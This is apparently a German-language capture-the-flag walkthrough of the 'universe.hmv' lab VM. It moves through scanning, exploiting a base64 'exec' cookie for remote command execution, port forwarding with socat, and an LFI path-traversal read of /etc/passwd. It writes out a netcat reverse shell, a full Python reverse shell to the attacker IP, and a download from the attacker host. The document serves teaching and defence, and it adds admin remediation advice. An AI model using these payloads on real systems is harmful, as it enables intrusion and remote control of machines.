Reconnaissance

Beginn der Aufklärung mit einem ARP-Scan zur Identifizierung von Hosts im lokalen Netzwerk.

192.168.2.107	08:00:27:97:de:db	PCS Systemtechnik GmbH

**Analyse:** Der Befehl `arp-scan -l` sendet ARP-Anfragen ins lokale Netzwerk und identifiziert erfolgreich einen Host mit der IP-Adresse 192.168.2.107. Die MAC-Adresse (08:00:27:97:de:db) und der Hersteller (PCS Systemtechnik GmbH) weisen auf eine VirtualBox VM hin.

**Bewertung:** Das Zielsystem wurde erfolgreich im Netzwerk lokalisiert. Der Hinweis auf VirtualBox liefert ersten Kontext.

**Empfehlung (Pentester):** Konzentriere weitere Scans und Enumerationsschritte auf die IP 192.168.2.107.
**Empfehlung (Admin):** Netzwerk-Monitoring und Segmentierung können die Erkennung erschweren, sind aber Standardmaßnahmen.

Hinzufügen eines Eintrags zur lokalen `/etc/hosts`-Datei zur Vereinfachung der Ansprache des Ziels.

                192.168.2.107   universe.hmv

**Analyse:** Die lokale Hosts-Datei wird bearbeitet, um der IP 192.168.2.107 den Hostnamen `universe.hmv` zuzuweisen. Dies ermöglicht die Verwendung dieses Namens anstelle der IP-Adresse in nachfolgenden Befehlen.

**Bewertung:** Eine nützliche Maßnahme zur Verbesserung der Lesbarkeit und Handhabung während des Penetrationstests.

**Empfehlung (Pentester):** Verwende den definierten Hostnamen `universe.hmv` in weiteren Befehlen.
**Empfehlung (Admin):** Keine serverseitigen Maßnahmen erforderlich, da dies eine lokale Konfiguration auf dem System des Testers ist.

Durchführung eines umfassenden Nmap-Scans über alle Ports mit Service-Version, OS-Erkennung und Standard-Skripten.

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-27 23:43 CET
Nmap scan report for universe (192.168.2.107)
Host is up (0.00013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
|   256 95:d6:5d:68:a3:38:f7:74:87:b3:99:20:f8:be:45:4d (ECDSA)
|_  256 11:77:31:ae:36:4e:22:45:9c:89:8f:5e:e6:01:83:0d (ED25519)
1212/tcp open  lupa?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 302 FOUND
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Wed, 27 Mar 2024 22:43:28 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 207
|     Location: /?user=742
|     Connection: close
|     
|     
|     
|     
Redirecting...
|     
You should be redirected automatically to the target URL: /?user=742. If not, click the link.
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.2.2 Python/3.11.2
|     Date: Wed, 27 Mar 2024 22:43:28 GMT
|     Content-Type: text/html; charset=utf-8
|     Allow: OPTIONS, HEAD, GET
|     Content-Length: 0
|     Connection: close
|   Help:
|     
|     
|     
|     
|     
|     
|     
|     
Error response
|     
Error code: 400
|     
Message: Bad request syntax ('HELP').
|     
Error code explanation: 400 - Bad request syntax or unsupported method.
|     
|     
|   RTSPRequest:
|     
|     
|     
|     
|     
|     
|     
|     
Error response
|     
Error code: 400
|     
Message: Bad request version ('RTSP/1.0').
|     
Error code explanation: 400 - Bad request syntax or unsupported method.
|     
|_    
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1212-TCP:V=7.94SVN%I=7%D=3/27%Time=6604A110%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,196,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.2\
SF:.2\x20Python/3\.11\.2\r\nDate:\x20Wed,\x2027\x20Mar\x202024\x2022:43:28
SF:\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Leng
SF:th:\x20207\r\nLocation:\x20/\?user=742\r\nConnection:\x20close\r\n\r\n<
SF:!doctype\x20html>\n\n\
SF:n
Redirecting\.\.\.
\n
You\x20should\x20be\x20redirected\x20au
SF:tomatically\x20to\x20the\x20target\x20URL:\x20/\?user=742\.\x20If\x20not,\x20click\x20the\x20link\.\n")%r(HTTP
SF:Options,C7,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/2\.2\.2\x20Pyt
SF:hon/3\.11\.2\r\nDate:\x20Wed,\x2027\x20Mar\x202024\x2022:43:28\x20GMT\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nAllow:\x20OPTIONS,\x2
SF:0HEAD,\x20GET\r\nContent-Length:\x200\r\nConnection:\x20close\r\n\r\n")
SF:%r(RTSPRequest,16C,"\n\n\x20\x20
SF:\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\
SF:x20\x20\x20
Error\x20response
\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:
Error\x20code:\x20400
\n\x20\x20\x20\x20\x20\x20\x20\x20
Messag
SF:e:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.
\n\x20\x20\x20\
SF:x20\x20\x20\x20\x20
Error\x20code\x20explanation:\x20400\x20-\x20Bad\
SF:x20request\x20syntax\x20or\x20unsupported\x20method\.
\n\x20\x20\x20
SF:\x20\n\n")%r(Help,167,"\n\n\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20\x20\x20\x20\n\x20
SF:\x20\x20\x20\x20\x20\x20\x20
Error\x20response
\n\x20\x20\x20\x2
SF:0\x20\x20\x20\x20
Error\x20code:\x20400
\n\x20\x20\x20\x20\x20\x20
SF:\x20\x20
Message:\x20Bad\x20request\x20syntax\x20\('HELP'\)\.
\n\x
SF:20\x20\x20\x20\x20\x20\x20\x20
Error\x20code\x20explanation:\x20400\x
SF:20-\x20Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.
\n\
SF:x20\x20\x20\x20\n\n");
MAC Address: 08:00:27:97:DE:DB (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms universe (192.168.2.107)

**Analyse:** Der Nmap-Scan (`-sS`, `-sV`, `-A`, `-T5`, `-p-`) identifiziert drei offene TCP-Ports:

• **Port 21 (FTP):** vsftpd 3.0.3. Standard-FTP-Server.
• **Port 22 (SSH):** OpenSSH 9.2p1 auf Debian. Standard-SSH-Server.
• **Port 1212 (Unbekannt/lupa?):** Nmap kann den Dienst nicht eindeutig identifizieren, erhält aber HTTP-ähnliche Antworten. Die Fingerprints (`fingerprint-strings`) zeigen, dass GET-Requests einen HTTP/1.1 302 Redirect auf `/?user=742` auslösen. Der Server identifiziert sich als `Werkzeug/2.2.2 Python/3.11.2`, was auf eine mit Python (vermutlich Flask oder ein ähnliches Framework, das Werkzeug nutzt) entwickelte Webanwendung hindeutet. OPTIONS-Requests sind erlaubt. Ungültige Requests (HELP, RTSP) erzeugen HTTP 400 Fehler.

**Bewertung:** Hoch. Drei Dienste identifiziert. FTP und SSH sind Standard, erfordern aber Prüfung auf anonymen Zugriff/schwache Credentials. Port 1212 ist besonders interessant: Eine Python-Webanwendung, die auf einem Nicht-Standard-Port läuft und Redirects mit einem `user`-Parameter durchführt. Dies ist ein primäres Ziel für weitere Untersuchungen.

**Empfehlung (Pentester):** 1. Prüfe FTP auf anonymen Login (`ftp universe.hmv`, User `anonymous`). 2. Versuche Standard-Credentials oder Brute-Force gegen SSH (z.B. Benutzer `root`, `admin`, `miwa`, `void` - aus späteren Logs). 3. Konzentriere dich auf Port 1212: Untersuche die Python-Webanwendung mit Nikto, Gobuster und manueller Analyse. Analysiere den `user`-Parameter im Redirect und die generelle Funktionsweise der Anwendung.
**Empfehlung (Admin):** 1. Stelle sicher, dass FTP anonymen Zugriff verhindert und nur für benötigte Benutzer aktiviert ist. 2. Härte SSH (Keys, Fail2ban, kein Root-Login). 3. Untersuche die Notwendigkeit und Sicherheit der Python-Anwendung auf Port 1212. Warum läuft sie auf diesem Port? Ist Authentifizierung implementiert?

Gefilterte Nmap-Ausgabe zur Übersicht der offenen Ports.

21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
1212/tcp open  lupa?

**Analyse:** Die gefilterte Ausgabe zeigt die drei offenen Ports: 21 (FTP), 22 (SSH) und 1212 (Unbekannt/Python-Webapp).

**Bewertung:** Bietet eine schnelle Referenz der offenen Ports.

**Empfehlung (Pentester):** Untersuche alle drei Ports, beginnend mit dem ungewöhnlichsten (1212).
**Empfehlung (Admin):** Überprüfe die Notwendigkeit und Konfiguration aller drei Dienste.

Web Enumeration (Port 1212)

Durchführung eines Nikto-Scans gegen die Webanwendung auf Port 1212.

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.107
+ Target Hostname:    192.168.2.107
+ Target Port:        1212
+ Start Time:         2024-03-27 23:45:57 (GMT1)
---------------------------------------------------------------------------
+ Server: Werkzeug/2.2.2 Python/3.11.2
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: /?user=986
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ OPTIONS: Allowed HTTP Methods: OPTIONS, HEAD, GET .
+ /cfg/CFGConnectionParams.txt: Caremark Carestream config file found. May include account information and host data.
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-03-27 23:46:18 (GMT1) (21 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Nikto scannt die Python-Anwendung auf Port 1212:

• Bestätigt Server: `Werkzeug/2.2.2 Python/3.11.2`.
• Meldet fehlende Security Header (`X-Frame-Options`, `X-Content-Type-Options`).
• Bestätigt den Redirect von `/` auf `/?user=[ID]` (hier `user=986`).
• Findet eine potenziell interessante Datei: `/cfg/CFGConnectionParams.txt` (als Carestream-Konfigurationsdatei identifiziert).

**Bewertung:** Mittel bis Hoch. Fehlende Header sind weniger kritisch. Der Redirect mit `user`-Parameter ist sehr interessant. Die gefundene Konfigurationsdatei `/cfg/CFGConnectionParams.txt` ist ein potenziell sehr wichtiger Fund, falls sie zugänglich ist und sensible Daten enthält.

**Empfehlung (Pentester):** 1. Versuche, die Datei `/cfg/CFGConnectionParams.txt` direkt abzurufen (`curl http://universe.hmv:1212/cfg/CFGConnectionParams.txt`). 2. Untersuche den `user`-Parameter im Redirect. Kann er manipuliert werden? Gibt es IDOR? 3. Führe weitere Verzeichnis-Scans (Gobuster etc.) durch.
**Empfehlung (Admin):** 1. Implementiere die fehlenden Security Header. 2. Stelle sicher, dass Konfigurationsdateien nicht über den Webserver zugänglich sind. 3. Überprüfe die Logik des `user`-Parameters auf Sicherheitsprobleme.

Manuelle Untersuchung der Webanwendung und Analyse des Hintergrundbildes.

http://192.168.2.107:1212/?user=887
Server Werkzeug/2.2.2 Python/3.11.2

     background: url('static/universe.jpg

--2024-03-28 00:03:11--  http://192.168.2.107:1212/static/universe.jpg
Verbindungsaufbau zu 192.168.2.107:1212 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 218175 (213K) [image/jpeg]
Wird in universe.jpg gespeichert.

universe.jpg            100%[======================================>] 213,06K  --.-KB/s    in 0s

2024-03-28 00:03:11 (427 MB/s) - universe.jpg gespeichert [218175/218175]

**Analyse:** 1. Durch manuelles Browsen wird bestätigt, dass die Anwendung auf Anfragen wie `/?user=887` reagiert. 2. Im Quellcode (oder CSS) wird entdeckt, dass die Datei `/static/universe.jpg` als Hintergrundbild verwendet wird. 3. Die Bilddatei wird mit `wget` erfolgreich heruntergeladen.

**Bewertung:** Standard-Enumeration. Das Herunterladen des Bildes ist wichtig, da Bilder oft für Steganographie verwendet werden.

**Empfehlung (Pentester):** Analysiere die heruntergeladene Datei `universe.jpg` mit Steganographie-Tools (`strings`, `exiftool`, `steghide`, `stegseek`).
**Empfehlung (Admin):** Keine direkten Maßnahmen erforderlich.

Steganography / Cookie Analysis

Analyse der heruntergeladenen Bilddatei mit `strings` und `stegseek`.

+@)5Ib0Z
... 
'Cookie exec: aWQ='

StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Progress: 99.36% (132.6 MB)
[!] error: Could not find a valid passphrase.

**Analyse:** 1. `strings universe.jpg -n 8`: Sucht nach Zeichenketten mit mindestens 8 Zeichen Länge im Bild. Die Ausgabe ist im Log unvollständig, enthält aber die entscheidende Zeile `'Cookie exec: aWQ='`. Dies ist ein starker Hinweis auf eine versteckte Information, die einen Cookie namens `exec` mit dem Base64-kodierten Wert `aWQ=` betrifft. 2. `stegseek universe.jpg ...`: Versucht, versteckte Daten mittels Passphrasen aus `rockyou.txt` zu extrahieren. Dieser Versuch schlägt fehl.

**Bewertung:** Hoch. Der `strings`-Befehl hat einen kritischen Hinweis auf einen `exec`-Cookie mit einem Base64-Wert geliefert. `stegseek` war erfolglos, aber der Hinweis aus `strings` ist ausreichend.

**Empfehlung (Pentester):** 1. Dekodiere den Base64-Wert `aWQ=`. 2. Untersuche die Webanwendung auf Port 1212 erneut, diesmal indem du den Cookie `exec` mit dem dekodierten Wert (oder anderen Base64-kodierten Werten) sendest.
**Empfehlung (Admin):** Untersuche, warum sensible Informationen (Cookie-Name und Wert) in einer Bilddatei versteckt sind. Entferne die versteckten Daten.

RCE via Cookie

Untersuchung der Auswirkung des gefundenen `exec`-Cookies.

http://192.168.2.107:1212/?user=9

Universe Console
The infinity of the universe reflected in your eyes...

Result: Missing 'exec' cookie

**Analyse:** Beim Aufruf der Anwendung (hier mit `user=9`) ohne den `exec`-Cookie erscheint die Meldung "Result: Missing 'exec' cookie". Dies bestätigt, dass die Anwendung diesen Cookie erwartet.

**Bewertung:** Bestätigt die Relevanz des im Bild gefundenen Cookies.

**Empfehlung (Pentester):** Sende den Cookie mit dem dekodierten Wert mit.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Dekodieren des Base64-Wertes und Testen des Cookies mit dem dekodierten Wert.

id

    
Universe Console
    
The infinity of the universe reflected in your eyes... 
    
Result: uid=1000(miwa) gid=1000(miwa) groups=1000(miwa)

**Analyse:** 1. Der Base64-Wert `aWQ=` wird dekodiert und ergibt den String `id`. 2. Eine `curl`-Anfrage an `/?user=9` wird gesendet, diesmal mit dem Header `Cookie: exec=aWQ=`. 3. Die Antwort enthält nun im "Result"-Bereich die Ausgabe des `id`-Befehls (`uid=1000(miwa)...`). Dies beweist, dass der Wert des `exec`-Cookies Base64-dekodiert und dann als Shell-Befehl ausgeführt wird.

**Bewertung:** Kritisch! Eine Remote Code Execution (RCE)-Schwachstelle wurde identifiziert. Der Angreifer kann beliebige Befehle als Benutzer `miwa` ausführen, indem er sie Base64-kodiert und als Wert des `exec`-Cookies sendet.

**Empfehlung (Pentester):** Nutze diese RCE, um eine Reverse Shell zu erhalten. Kodiere den Reverse-Shell-Befehl in Base64 und sende ihn im `exec`-Cookie.
**Empfehlung (Admin):** **Dringend:** Entferne diese RCE-Schwachstelle sofort. Benutzereingaben (insbesondere aus Cookies) dürfen niemals direkt oder nach einfacher Dekodierung als Shell-Befehle ausgeführt werden. Verwende sichere Methoden zur Interaktion mit dem System und validiere alle Eingaben strikt.

Testen weiterer Befehle über den `exec`-Cookie.

bHMK

    
Universe Console
    
The infinity of the universe reflected in your eyes... 
    
Result: app.py

bHMgL2hvbWUK

    
Universe Console
    
The infinity of the universe reflected in your eyes... 
    
Result: miwa

bHMgL2hvbWUvbWl3YQo=

    
Universe Console
    
The infinity of the universe reflected in your eyes... 
    
Result: web

**Analyse:** Verschiedene `ls`-Befehle werden Base64-kodiert und über den `exec`-Cookie gesendet:

• `ls` -> `bHMK`: Zeigt die Datei `app.py` im aktuellen Verzeichnis (vermutlich das Verzeichnis der Webanwendung).
• `ls /home` -> `bHMgL2hvbWUK`: Zeigt den Benutzer `miwa` im Home-Verzeichnis an.
• `ls /home/miwa` -> `bHMgL2hvbWUvbWl3YQo=`: Zeigt ein Unterverzeichnis `web` im Home-Verzeichnis von `miwa`.

**Bewertung:** Erfolgreiche Nutzung der RCE zur Enumeration.

**Empfehlung (Pentester):** Etabliere eine Reverse Shell für eine komfortablere Interaktion.
**Empfehlung (Admin):** Behebe die RCE-Schwachstelle.

Fehlgeschlagener Versuch, eine Netcat-Reverse-Shell zu starten.

bmMgLWUgL2Jpbi9iYXNoIDE5Mi4xNjguMi4xOTkgNDQ0NAo=

listening on [any] 4444 ...

    
Universe Console
    
The infinity of the universe reflected in your eyes... 
    
Result: Invalid cookie value

**Analyse:** Es wird versucht, eine Netcat-Reverse-Shell (`nc -e ...`) zu starten. Der Befehl wird Base64-kodiert (`bmMg...`) und im `exec`-Cookie gesendet. Der Server antwortet jedoch mit "Result: Invalid cookie value". Mögliche Gründe:

• Die Netcat-Version auf dem Ziel unterstützt `-e` nicht.
• Der Befehl enthält Zeichen, die nach der Base64-Dekodierung Probleme verursachen oder gefiltert werden.
• Ein Tippfehler im Log (IP 192.168.2.199 statt .107 im Base64-Encoding und Cookie-Wert) könnte die Ursache sein, aber die "Invalid cookie value" Meldung deutet eher auf ein Problem mit dem Payload selbst hin.

**Bewertung:** Niedrig. Der einfache Netcat-Reverse-Shell-Versuch scheitert.

**Empfehlung (Pentester):** Versuche alternative Reverse-Shell-Payloads (Python, Bash ohne `-e`, Perl etc.).
**Empfehlung (Admin):** Keine zusätzlichen Maßnahmen erforderlich.

Proof of Concept (RCE via Cookie)

Dieser Abschnitt demonstriert die Remote Code Execution (RCE) durch Manipulation des `exec`-Cookies.

**Schwachstelle:** Die Webanwendung auf Port 1212 dekodiert den Base64-Wert des Cookies `exec` und führt das Ergebnis als Shell-Befehl mit den Rechten des Benutzers `miwa` aus.

**Voraussetzungen:**

• Netzwerkzugriff auf Port 1212 des Ziels.
• Kenntnis des Cookie-Namens (`exec`).
• Ein Tool zum Senden von HTTP-Requests mit benutzerdefinierten Cookies (`curl`).
• Base64-Encoding-Funktionalität.

**Schritt-für-Schritt Anleitung (Beispiel `id`-Befehl):**

1. Kodiere den gewünschten Befehl (z.B. `id`) in Base64: `echo "id" | base64` -> `aWQ=`.
2. Sende einen HTTP-Request an eine beliebige Seite der Anwendung (z.B. `/?user=1`) und füge den manipulierten Cookie hinzu: `curl "http://[ZIEL-IP]:1212/?user=1" -H 'Cookie: exec=aWQ='`.
3. Analysiere die Antwort: Die Ausgabe des Befehls (`uid=1000(miwa)...`) sollte im HTML-Body enthalten sein.

Erfolgreicher Aufbau einer Python-Reverse-Shell.

listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.107] 60828
/bin/sh: 0: can't access tty; job control turned off
$ 

**Analyse:** 1. Ein Python3-Reverse-Shell-Payload wird Base64-kodiert. Der dekodierte Payload lautet: `python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'` 2. Der kodierte Payload wird als Wert des `exec`-Cookies mit `curl` an die Anwendung gesendet. 3. Der Netcat-Listener auf Port 4444 empfängt erfolgreich die Verbindung vom Zielserver. 4. Eine Shell als der Benutzer, unter dem die Webanwendung läuft, wird erhalten.

**Bewertung:** Kritisch. Erfolgreiche Ausnutzung der RCE zur Etablierung einer Reverse Shell.

**Empfehlung (Pentester):** Beginne mit der Enumeration und Privilegienerweiterung aus dieser Shell.
**Empfehlung (Admin):** Behebe die RCE-Schwachstelle dringend.

Initial Access (as miwa)

Bestätigung der Benutzeridentität in der Reverse Shell.

uid=1000(miwa) gid=1000(miwa) groups=1000(miwa)

**Analyse:** Der `id`-Befehl in der erhaltenen Shell bestätigt, dass der Code als Benutzer `miwa` (UID/GID 1000) ausgeführt wird.

**Bewertung:** Bestätigt den initialen Zugriff als Benutzer `miwa`.

**Empfehlung (Pentester):** Beginne Enumeration für Privilegienerweiterung.
**Empfehlung (Admin):** Keine spezifischen Maßnahmen.

Enumeration von Benutzern mit Shell-Zugriff und Überprüfung von Dateiberechtigungen.

root:x:0:0:root:/root:/bin/bash
miwa:x:1000:1000::/home/miwa:/usr/bin/bash
void:x:1001:1001::/home/void:/bin/bash

-rw-r--r-- 1 root root 1236 Jan 30 17:24 /etc/passwd

**Analyse:**

• `grep bash /etc/passwd`: Listet Benutzer mit Bash-Shell auf: `root`, `miwa` und `void`.
• `ls -la /etc/passwd`: Zeigt Standardberechtigungen für die Passwortdatei (nur von Root beschreibbar).

**Bewertung:** Identifiziert `void` als weiteren potenziellen Zielbenutzer. Bestätigt normale Berechtigungen für `/etc/passwd`.

**Empfehlung (Pentester):** Notiere den Benutzer `void`. Fahre mit der Enumeration fort (SUID, sudo, Prozesse etc.).
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Suche nach SUID-Dateien.

   914041     52 -rwsr-xr-x   1 root     root        52880 Mar 23  2023 /usr/bin/chsh
   917276     60 -rwsr-xr-x   1 root     root        59704 Mar 23  2023 /usr/bin/mount
   917412     48 -rwsr-xr-x   1 root     root        48896 Mar 23  2023 /usr/bin/newgrp
   917964     72 -rwsr-xr-x   1 root     root        72000 Mar 23  2023 /usr/bin/su
   914040     64 -rwsr-xr-x   1 root     root        62672 Mar 23  2023 /usr/bin/chfn
   917277     36 -rwsr-xr-x   1 root     root        35128 Mar 23  2023 /usr/bin/umount
   948020    276 -rwsr-xr-x   1 root     root       281624 Jun 27  2023 /usr/bin/sudo
   914043     88 -rwsr-xr-x   1 root     root        88496 Mar 23  2023 /usr/bin/gpasswd
   914044     68 -rwsr-xr-x   1 root     root        68248 Mar 23  2023 /usr/bin/passwd
   937935    640 -rwsr-xr-x   1 root     root       653888 Dec 19 08:51 /usr/lib/openssh/ssh-keysign
   934771     52 -rwsr-xr--   1 root     messagebus    51272 Sep 16  2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper

**Analyse:** Die Suche nach SUID-Dateien (`find / -type f -perm -4000 ...`) findet nur Standard-Linux-Binaries (`chsh`, `mount`, `su`, `sudo`, `passwd` etc.). Es werden keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien entdeckt.

**Bewertung:** Niedrig. Keine offensichtlichen PrivEsc-Vektoren durch SUID-Dateien gefunden. `sudo` muss jedoch überprüft werden.

**Empfehlung (Pentester):** Überprüfe die `sudo`-Berechtigungen (`sudo -l`). Untersuche andere Vektoren wie laufende Prozesse, Netzwerkdienste, Cronjobs.
**Empfehlung (Admin):** Regelmäßige Überprüfung auf unnötige SUID/GUID-Berechtigungen.

Überprüfung laufender Netzwerkdienste als `miwa`.

State     Recv-Q    Send-Q       Local Address:Port        Peer Address:Port    Process
LISTEN    0         4096             127.0.0.1:8080             0.0.0.0:*        
LISTEN    0         128                0.0.0.0:1212             0.0.0.0:*        users:(("python3",pid=500,fd=5),("python3",pid=500,fd=3))
LISTEN    0         128                0.0.0.0:22               0.0.0.0:*
LISTEN    0         32                       *:21                     *:*
LISTEN    0         128                   [::]:22                  [::]:*

**Analyse:** Der Befehl `ss -altpn` listet lauschende TCP-Sockets auf.

• Bestätigt Listener für FTP (Port 21), SSH (Port 22 auf IPv4/IPv6) und die Python-Webanwendung (Port 1212).
• Entdeckt einen neuen Dienst, der nur auf dem Loopback-Interface (`127.0.0.1`) auf Port `8080` lauscht. Der Prozess ist nicht direkt ersichtlich.

**Bewertung:** Wichtig. Ein interner Dienst auf `localhost:8080` wurde identifiziert. Solche Dienste sind oft weniger gehärtet und können Schwachstellen enthalten.

**Empfehlung (Pentester):** Untersuche den Dienst auf Port 8080. Da er nur lokal lauscht, benötigst du Port Forwarding (z.B. mit `socat`, `chisel` oder SSH) oder musst Tools direkt auf dem Zielsystem ausführen (`curl localhost:8080`).
**Empfehlung (Admin):** Identifiziere den Dienst auf Port 8080. Ist er notwendig? Sichere ihn oder deaktiviere ihn. Beschränke lokale Dienste auf das Nötigste.

Internal Service Discovery & Port Forwarding

Vorbereitung zum Port Forwarding mittels `socat`: Bereitstellen von `socat` auf dem Angreifer-System.

/usr/bin/socat

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

**Analyse:** Auf dem Angreifer-System wird der Pfad zu `socat` ermittelt und ein Python-HTTP-Server im Verzeichnis `/usr/bin` gestartet, um die `socat`-Binärdatei für den Download durch das Zielsystem bereitzustellen.

**Bewertung:** Standardvorgehen zur Vorbereitung des Transfers eines benötigten Tools auf das Ziel.

**Empfehlung (Pentester):** Lade `socat` nun auf das Zielsystem herunter.
**Empfehlung (Admin):** Keine Maßnahmen erforderlich.

Herunterladen von `socat` auf das Zielsystem.

--2024-03-27 17:40:17--  http://192.168.2.199/socat
Connecting to 192.168.2.199:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 473256 (462K) [application/octet-stream]
Saving to: ‘socat’

socat               100%[======================================>] 462.16K  --.-KB/s    in 0.001s

2024-03-27 17:40:17 (433 MB/s) - ‘socat’ saved [473256/473256]

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.107 - - [28/Mar/2024 00:40:11] "GET /socat HTTP/1.1" 200 -
192.168.2.107 - - [28/Mar/2024 00:40:18] "GET /socat HTTP/1.1" 200 -

**Analyse:** In der `miwa`-Shell auf dem Zielsystem wird `wget` verwendet, um die `socat`-Binärdatei vom HTTP-Server des Angreifers (192.168.2.199) herunterzuladen und im `/tmp`-Verzeichnis zu speichern. Der HTTP-Server-Log des Angreifers bestätigt den Download (im Log scheinbar zweimal).

**Bewertung:** Erfolgreicher Transfer des `socat`-Tools auf das Ziel.

**Empfehlung (Pentester):** Mache `socat` ausführbar (`chmod +x /tmp/socat`) und verwende es, um Port 8080 weiterzuleiten.
**Empfehlung (Admin):** Beschränke Download-Möglichkeiten und überwache `/tmp`.

Starten von `socat` auf dem Zielsystem, um den lokalen Port 8080 auf Port 8000 (extern erreichbar) weiterzuleiten.

[1] 10176

**Analyse:** Der heruntergeladene `socat`-Befehl wird ausgeführt (Annahme: `chmod +x` wurde zuvor ausgeführt). `TCP-LISTEN:8000,fork` weist `socat` an, auf Port 8000 auf allen Interfaces zu lauschen und für jede eingehende Verbindung einen neuen Prozess zu forken. `TCP4:127.0.0.1:8080` gibt an, dass die eingehende Verbindung an den lokalen Dienst auf `127.0.0.1:8080` weitergeleitet werden soll. Das `&` am Ende startet den Prozess im Hintergrund.

**Bewertung:** Erfolgreiches Einrichten des Port Forwardings. Der interne Dienst auf Port 8080 ist nun extern über Port 8000 des Zielsystems (192.168.2.107:8000) erreichbar.

**Empfehlung (Pentester):** Greife nun mit dem Browser oder Tools wie `curl` auf `http://192.168.2.107:8000` zu, um mit dem internen Dienst zu interagieren.
**Empfehlung (Admin):** Überwache verdächtige Prozesse wie `socat`. Implementiere Netzwerk-Segmentierung und Firewalls, um unautorisiertes Port Forwarding und Zugriff auf interne Dienste zu verhindern.

LFI on Internal Application

Zugriff auf den weitergeleiteten internen Dienst und erste Analyse.

http://192.168.2.107:8000/

Void
Love Shine Sadness

http://192.168.2.107:8000/?file=love.php

**Analyse:** Der Zugriff auf `http://192.168.2.107:8000/` zeigt eine einfache Seite mit dem Text "Void Love Shine Sadness". Ein weiterer Aufruf mit dem Parameter `?file=love.php` wird gezeigt, dessen Ergebnis aber nicht dokumentiert ist. Dies deutet darauf hin, dass die interne Anwendung einen `file`-Parameter akzeptiert.

**Bewertung:** Bestätigt den Zugriff auf den internen Dienst. Der `file`-Parameter ist ein starker Hinweis auf eine mögliche LFI-Schwachstelle.

**Empfehlung (Pentester):** Teste den `file`-Parameter systematisch auf LFI, z.B. `?file=../../../../etc/passwd`.
**Empfehlung (Admin):** Untersuche und sichere die interne Anwendung.

Erfolgreicher LFI-Test auf der internen Anwendung.

192.168.2.107:8000/?file=....//....//....//....//etc/passwd

Void
Love Shine Sadness
 
    root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
